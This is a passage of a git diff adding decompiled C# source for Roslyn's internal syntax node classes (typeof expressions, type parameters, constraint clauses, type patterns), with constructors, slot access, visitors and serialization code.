annotations) + : base(kind, diagnostics, annotations) + { + } + + internal TypeDeclarationSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected TypeDeclarationSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeOfExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeOfExpressionSyntax.cs new file mode 100644 index 0000000..874310f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeOfExpressionSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TypeOfExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly TypeSyntax type; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken Keyword => keyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public TypeSyntax Type => type; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal TypeOfExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal TypeOfExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal TypeOfExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => openParenToken, + 2 => type, + 3 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TypeOfExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeOfExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeOfExpression(this); + } + + public TypeOfExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + if (keyword != Keyword || openParenToken != OpenParenToken || type != Type || closeParenToken != CloseParenToken) + { + TypeOfExpressionSyntax typeOfExpressionSyntax = SyntaxFactory.TypeOfExpression(keyword, openParenToken, type, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + typeOfExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(typeOfExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + typeOfExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(typeOfExpressionSyntax, (IEnumerable)annotations); + } + return typeOfExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TypeOfExpressionSyntax(base.Kind, keyword, openParenToken, type, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TypeOfExpressionSyntax(base.Kind, keyword, openParenToken, type, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TypeOfExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static TypeOfExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TypeOfExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TypeOfExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterConstraintClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterConstraintClauseSyntax.cs new file mode 100644 index 0000000..d1dee0b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterConstraintClauseSyntax.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TypeParameterConstraintClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken whereKeyword; + + internal readonly IdentifierNameSyntax name; + + internal readonly SyntaxToken colonToken; + + internal readonly GreenNode? constraints; + + public SyntaxToken WhereKeyword => whereKeyword; + + public IdentifierNameSyntax Name => name; + + public SyntaxToken ColonToken => colonToken; + + public SeparatedSyntaxList Constraints => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(constraints))); + + internal TypeParameterConstraintClauseSyntax(SyntaxKind kind, SyntaxToken whereKeyword, IdentifierNameSyntax name, SyntaxToken colonToken, GreenNode? constraints, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whereKeyword); + this.whereKeyword = whereKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + if (constraints != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraints); + this.constraints = constraints; + } + } + + internal TypeParameterConstraintClauseSyntax(SyntaxKind kind, SyntaxToken whereKeyword, IdentifierNameSyntax name, SyntaxToken colonToken, GreenNode? constraints, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whereKeyword); + this.whereKeyword = whereKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + if (constraints != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraints); + this.constraints = constraints; + } + } + + internal TypeParameterConstraintClauseSyntax(SyntaxKind kind, SyntaxToken whereKeyword, IdentifierNameSyntax name, SyntaxToken colonToken, GreenNode? constraints) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whereKeyword); + this.whereKeyword = whereKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + if (constraints != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraints); + this.constraints = constraints; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => whereKeyword, + 1 => name, + 2 => colonToken, + 3 => constraints, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterConstraintClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeParameterConstraintClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeParameterConstraintClause(this); + } + + public TypeParameterConstraintClauseSyntax Update(SyntaxToken whereKeyword, IdentifierNameSyntax name, SyntaxToken colonToken, SeparatedSyntaxList constraints) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (whereKeyword == WhereKeyword && name == Name && colonToken == ColonToken) + { + SeparatedSyntaxList val = Constraints; + if (!((ref constraints) != (ref val))) + { + return this; + } + } + TypeParameterConstraintClauseSyntax typeParameterConstraintClauseSyntax = SyntaxFactory.TypeParameterConstraintClause(whereKeyword, name, colonToken, constraints); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + typeParameterConstraintClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(typeParameterConstraintClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + typeParameterConstraintClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(typeParameterConstraintClauseSyntax, (IEnumerable)annotations); + } + return typeParameterConstraintClauseSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TypeParameterConstraintClauseSyntax(base.Kind, whereKeyword, name, colonToken, constraints, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TypeParameterConstraintClauseSyntax(base.Kind, whereKeyword, name, colonToken, constraints, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TypeParameterConstraintClauseSyntax(ObjectReader reader) + : base(reader) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + whereKeyword = syntaxToken; + IdentifierNameSyntax identifierNameSyntax = (IdentifierNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifierNameSyntax); + name = identifierNameSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + colonToken = syntaxToken2; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + constraints = val; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)whereKeyword); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)colonToken); + writer.WriteValue((IObjectWritable)(object)constraints); + } + + static TypeParameterConstraintClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TypeParameterConstraintClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TypeParameterConstraintClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterConstraintSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterConstraintSyntax.cs new file mode 100644 index 0000000..8175604 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterConstraintSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class TypeParameterConstraintSyntax : CSharpSyntaxNode +{ + internal TypeParameterConstraintSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal TypeParameterConstraintSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected TypeParameterConstraintSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterListSyntax.cs new file mode 100644 index 0000000..4a13e11 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TypeParameterListSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken lessThanToken; + + internal readonly GreenNode? parameters; + + internal readonly SyntaxToken greaterThanToken; + + public SyntaxToken LessThanToken => lessThanToken; + + public SeparatedSyntaxList Parameters => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(parameters))); + + public SyntaxToken GreaterThanToken => greaterThanToken; + + internal TypeParameterListSyntax(SyntaxKind kind, SyntaxToken lessThanToken, GreenNode? parameters, SyntaxToken greaterThanToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal TypeParameterListSyntax(SyntaxKind kind, SyntaxToken lessThanToken, GreenNode? parameters, SyntaxToken greaterThanToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal TypeParameterListSyntax(SyntaxKind kind, SyntaxToken lessThanToken, GreenNode? parameters, SyntaxToken greaterThanToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => lessThanToken, + 1 => parameters, + 2 => greaterThanToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeParameterList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeParameterList(this); + } + + public TypeParameterListSyntax Update(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken == LessThanToken) + { + SeparatedSyntaxList val = Parameters; + if (!((ref parameters) != (ref val)) && greaterThanToken == GreaterThanToken) + { + return this; + } + } + TypeParameterListSyntax typeParameterListSyntax = SyntaxFactory.TypeParameterList(lessThanToken, parameters, greaterThanToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + typeParameterListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(typeParameterListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + typeParameterListSyntax = GreenNodeExtensions.WithAnnotationsGreen(typeParameterListSyntax, (IEnumerable)annotations); + } + return typeParameterListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TypeParameterListSyntax(base.Kind, lessThanToken, parameters, greaterThanToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TypeParameterListSyntax(base.Kind, lessThanToken, parameters, greaterThanToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TypeParameterListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + lessThanToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + parameters = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + greaterThanToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)lessThanToken); + writer.WriteValue((IObjectWritable)(object)parameters); + writer.WriteValue((IObjectWritable)(object)greaterThanToken); + } + + static TypeParameterListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TypeParameterListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TypeParameterListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterSyntax.cs new file mode 100644 index 0000000..790bbef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeParameterSyntax.cs @@ -0,0 +1,171 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TypeParameterSyntax : CSharpSyntaxNode +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken? varianceKeyword; + + internal readonly SyntaxToken identifier; + + public SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken? VarianceKeyword => varianceKeyword; + + public SyntaxToken Identifier => identifier; + + internal TypeParameterSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? varianceKeyword, SyntaxToken identifier, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (varianceKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)varianceKeyword); + this.varianceKeyword = varianceKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal TypeParameterSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? varianceKeyword, SyntaxToken identifier, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (varianceKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)varianceKeyword); + this.varianceKeyword = varianceKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal TypeParameterSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? varianceKeyword, SyntaxToken identifier) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (varianceKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)varianceKeyword); + this.varianceKeyword = varianceKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => varianceKeyword, + 2 => identifier, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypeParameter(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypeParameter(this); + } + + public TypeParameterSyntax Update(SyntaxList attributeLists, SyntaxToken varianceKeyword, SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || varianceKeyword != VarianceKeyword || identifier != Identifier) + { + TypeParameterSyntax typeParameterSyntax = SyntaxFactory.TypeParameter(attributeLists, varianceKeyword, identifier); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + typeParameterSyntax = GreenNodeExtensions.WithDiagnosticsGreen(typeParameterSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + typeParameterSyntax = GreenNodeExtensions.WithAnnotationsGreen(typeParameterSyntax, (IEnumerable)annotations); + } + return typeParameterSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TypeParameterSyntax(base.Kind, attributeLists, varianceKeyword, identifier, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TypeParameterSyntax(base.Kind, attributeLists, varianceKeyword, identifier, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal TypeParameterSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + varianceKeyword = syntaxToken; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)varianceKeyword); + writer.WriteValue((IObjectWritable)(object)identifier); + } + + static TypeParameterSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TypeParameterSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TypeParameterSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypePatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypePatternSyntax.cs new file mode 100644 index 0000000..db4f8a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypePatternSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class TypePatternSyntax : PatternSyntax +{ + internal readonly TypeSyntax type; + + public TypeSyntax Type => type; + + internal TypePatternSyntax(SyntaxKind kind, TypeSyntax type, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal TypePatternSyntax(SyntaxKind kind, TypeSyntax type, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal TypePatternSyntax(SyntaxKind kind, TypeSyntax type) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)type; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.TypePatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitTypePattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitTypePattern(this); + } + + public TypePatternSyntax Update(TypeSyntax type) + { + if (type != Type) + { + TypePatternSyntax typePatternSyntax = SyntaxFactory.TypePattern(type); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + typePatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(typePatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + typePatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(typePatternSyntax, (IEnumerable)annotations); + } + return typePatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new TypePatternSyntax(base.Kind, type, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new TypePatternSyntax(base.Kind, type, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal 